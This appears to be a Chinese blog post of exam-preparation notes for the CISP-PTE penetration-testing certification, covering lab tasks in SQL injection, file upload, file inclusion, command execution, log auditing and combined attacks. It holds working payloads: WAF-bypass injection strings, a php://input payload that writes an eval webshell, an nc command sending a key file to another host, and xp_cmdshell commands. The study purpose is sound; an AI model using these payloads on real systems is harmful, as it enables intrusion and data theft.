CISP-PTE 注冊滲透測試工程師考試 總結&&經驗分享——TODO 待參加考試


CISP-PTE 注冊滲透測試工程師考試 總結&&經驗分享

 
 

CISP-PTE 注冊滲透測試工程師考試 總結&&經驗分享

CISP-PTE 注冊滲透測試工程師考試 總結&&經驗分享

前幾天剛在西安考完了PTE的考試,在四葉草十天的學習感覺也是收獲滿滿。首先,先總結一下考試的內容。題型分為選擇題和實操題兩部分。滿分為100分,選擇題有20道,共20分,主要考查一下安全方面的基礎知識。

剩下的為80分的實操題,分為6個大題。

  1. SQL注入(通常為mysql數據庫)
  2. 文件上傳漏洞
  3. 文件包含漏洞
  4. 命令執行漏洞
  5. 日志審計
  6. 綜合滲透分析(分為3道小題)

第一題為SQL注入的題,個人覺得SQL注入的題就是多練習,把常見的各種姿勢練熟悉,以及繞常規的WAF的技巧掌握了就基本上沒什么問題了。另外可以吧sqli-lab上基礎的sql注入題目給刷一遍,可以說就是觸類旁通了。

分享一下我自己總結的針對考試中SQL注入題目的技巧和套路:

  1. 先判斷注入點,一般用單引號’來報錯
  2. 判斷錯誤類型,使前面的SQL語句閉合掉
  3. 並注釋掉后面的SQL語句,通常用#(%23),–+來注釋掉
  4. 判斷有多少列,用order by語句,在一開始不清楚的情況下可以用二分法,假如order by 10 ,如果報錯就取一半5,直到試出那個值為止
  5. 接着就是使用聯合查詢union select來查詢想要的內容了,但這里有個小trick,union select 1,2,3,4 …..判斷每一列出現的位置。因為有的列在頁面上是並不顯示出來的,所以要將sql語句插到合適的位置。
  6. 但是可能會遇到waf,比如把空格給過濾掉了怎么辦?可以用/**/這個多行注釋來搞定,一個/**/相當於一個空格。遇到關鍵詞被過濾,通常考試只會過濾一兩次,如過濾了一次union,就可以換成ununionion來繞過waf。
  7. 最后一般需要讀取一個文件,key就放在這里面的,用load_file()函數就ok了
  8. 另外一個關於concat()函數的使用,我推薦一篇我之前在i春秋上公眾號上看到的文章https://mp.weixin.qq.com/s/OTlETIiQid5zngBA9Ooylg

以上只針對考試會用到的小trick,自己總結的可能不足或缺漏,歡迎大家能補充。

第二題為文件上傳漏洞的題目,簡單來說就是上傳一句話木馬拿shell。把常規思路理清就很easy了。

  1. 先上傳一個正常的圖片獲取到文件的路徑和文件名信息
  2. 自己做一個圖片馬,就是將一句話木馬寫入到圖片里面去,再上傳圖片馬看是否能成功
  3. 用burp抓包修改文件的后綴名,考試通常是用的黑名單檢測,php是肯定繞過不去的,所以就改為其他能被php解析的后綴,比如pht,php3等等。但是有一點需要注意,如果服務器是linux的話,對大小寫是敏感的,所以就不要想通過大小寫的方式去繞了
  4. 根據路徑信息,用菜刀連上去拿shell了
  5. 文件上傳通常會檢測 后綴,content-type,文件大小,文件內容,文件頭

第三題為文件包含漏洞,分為遠程文件包含和本地文件包含,遠程文件包含利用是有前提條件的,需要在php.ini中開啟相關的設置,但是考試中是不太可能遠程包含的,畢竟要是可以的話,那么直接去包含第二題中的上傳的shell不就搞定了嗎,那還有什么考查的意義呢。所以就考慮本地文件包含了。當然這道題的思路有很多的,畢竟PHP是世界上最好的語言也不是沒有道理,php里面有很多的偽協議可以用到。PHP 提供了一些雜項輸入/輸出(IO)流,允許訪問 PHP 的輸入輸出流、標准輸入輸出和錯誤描述符, 內存中、磁盤備份的臨時文件流以及可以操作其他讀取寫入文件資源的過濾器。

data://協議,經過測試官方文檔上存在一處問題,經過測試PHP版本5.2,5.3,5.5,7.0;
data:// 協議是是受限於allow_url_fopen的,官方文檔上給出的是NO,所以要使用
data://協議需要滿足雙on條件
PHP.ini:
data://協議必須雙在on才能正常使用;
allow_url_fopen :on
allow_url_include:on

php://input代表可以訪問請求的原始數據,簡單來說POST請求的情況下,php://input可以獲取到post的數據。比較特殊的一點,enctype=”multipart/form-data” 的時候 php://input 是無效的。
PHP.ini:
allow_url_fopen :off/on
allow_url_include:on

http://127.0.0.1/cmd.php?file=php://input
[POST DATA] <?php phpinfo()?>
也可以POST如下內容生成一句話:
<?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST[“cmd”]);?>’);?>

在include函數的使用上,經常會造成任意文件讀取漏洞,而file_get_contents()和file_put_contents()這樣函數下,常常會構成getshell等更嚴重的漏洞。php://filter 讀取源代碼並進行base64編碼輸出,不然會直接當做php代碼執行就看不到源代碼內容了。條件:
不需要開啟allow_url_fopen,僅php://input、 php://stdin、 php://memory和 php://temp 需要開啟allow_url_include。php:// 訪問各個輸入/輸出流(I/O streams),在CTF中經常使用的是php://filter和php://input,php://filter用於讀取源碼,php://input用於執行php代碼。

第四題是命令執行漏洞,個人覺得考查的就是對linux命令的掌握程度,就是花式讀取讀取文件內容,總結的一些可以用到的命令。

除了常規的:
———————————————————————————-
cat:由第一行開始顯示內容,並將所有內容輸出
tac:從最后一行倒序顯示內容,並將所有內容輸出
more:根據窗口大小,一頁一頁的現實文件內容
less:和more類似,但其優點可以往前翻頁,而且進行可以搜索字符
head:只顯示頭幾行
tail:只顯示最后幾行
nl:類似於cat -n,顯示時輸出行號
tailf:類似於tail -f
———————————————————————————–
Linux花式讀取文件內容
ps:目標是獲取flag.txt的內容

static-sh讀取文件:

static-sh ./flag.txt
#輸出結果:
./flag.txt: line 1: flag{this_is_a_test}: not found
———————————————————————————–
paste讀取文件:
paste ./flag.txt /etc/passwd

#輸出結果:
flag{this_is_a_test} root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
———————————————————————————-
diff讀取文件 :
diff ./flag.txt /etc/passwd

#輸出結果:
1c1,45
< flag{this_is_a_test}
\ No newline at end of file

> root:x:0:0:root:/root:/bin/bash
> daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
> bin:x:2:2:bin:/bin:/usr/sbin/nologin
> sys:x:3:3:sys:/dev:/usr/sbin/nologin
> sync:x:4:65534:sync:/bin:/bin/sync
———————————————————————————–
od讀取文件

od -a ./flag.txt
#輸出結果:
0000000 f l a g { t h i s _ i s _ a _ t
0000020 e s t }
0000024
———————————————————————————–
bzmore讀取文件:

bzmore ./flag.txt
#輸出結果:
——> ./flag.txt <——
flag{this_is_a_test}
———————————————————————————–
bzless讀取文件:
bzless ./flag.txt

echo `bzless ./flag.txt`
#輸出結果:
——> ./flag.txt <—— flag{this_is_a_test}

———————————————————————————–
curl讀取文件:

curl file:///home/coffee/flag

———————————————————————————–
nc 傳輸文件

靶機:

nc 10.10.10.10 4444 < /var/www/html/key.php

接受機:

nc -l 4444 > key.txt

———————————————————————————-
wget

wget url -P path

第五題是日志審計,這個通常沒啥問題。

日志文件下載
分析:
(1)有內容都查看
(2)針對ip查找相關信息
響應狀態 200
請求的網站目錄
POST包和GET包

6.綜合滲透

(1)嘗試弱口令
(2)萬能密碼
(3)爆破
(4)其他漏洞
(5)目錄掃描
(6)數據庫配置文件
(7)1433連接數據庫,獲得后台賬號密碼
(8)尋找漏洞getshell
(9)文件上傳繞過getshell
(10)報錯獲得路徑
(11)菜刀鏈接獲得第二個key
(12)獲取敏感文件得到sa用戶密碼
(13)執行系統命令在管理員桌面獲得key

exec master..xp_cmdshell ‘dir “C:\Documents and Settings\Administrator\桌面\” /A -D /B’
exec xp_cmdshell ‘type “C:\Documents and Settings\Administrator\桌面\key.txt”‘

總的來說,對於pte考試我個人的經驗分享就這么多了,歡迎大家補充。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM